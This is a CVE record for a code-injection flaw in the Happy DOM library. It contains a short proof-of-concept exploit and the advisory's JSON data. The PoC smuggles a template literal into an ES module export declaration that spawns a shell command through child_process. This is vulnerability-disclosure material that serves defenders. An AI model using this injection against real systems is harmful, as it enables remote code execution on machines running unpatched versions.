CVE-2026-33943

// PoC for CVE-2026-33943 // Create a file named 'exploit.js' with the following content // The vulnerability allows injecting template literals inside export declarations // because the quote filter does not strip backticks. export { // Using template literal syntax to execute arbitrary code `${globalThis.process.mainModule.require('child_process').execSync('calc.exe')}` as exploit }; // Load this file using Happy DOM to trigger the RCE.

{"cve": {"id": "CVE-2026-33943", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.393", "lastModified": "2026-04-13T17:24:44.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:capricorn86:happy_dom:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.10.0", "versionEndExcluding": "20.8.8", "matchCriteriaId": "7EAF0355-096E-4A40-8520-8FA8EBEF230B"}]}]}], "references": [{"url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}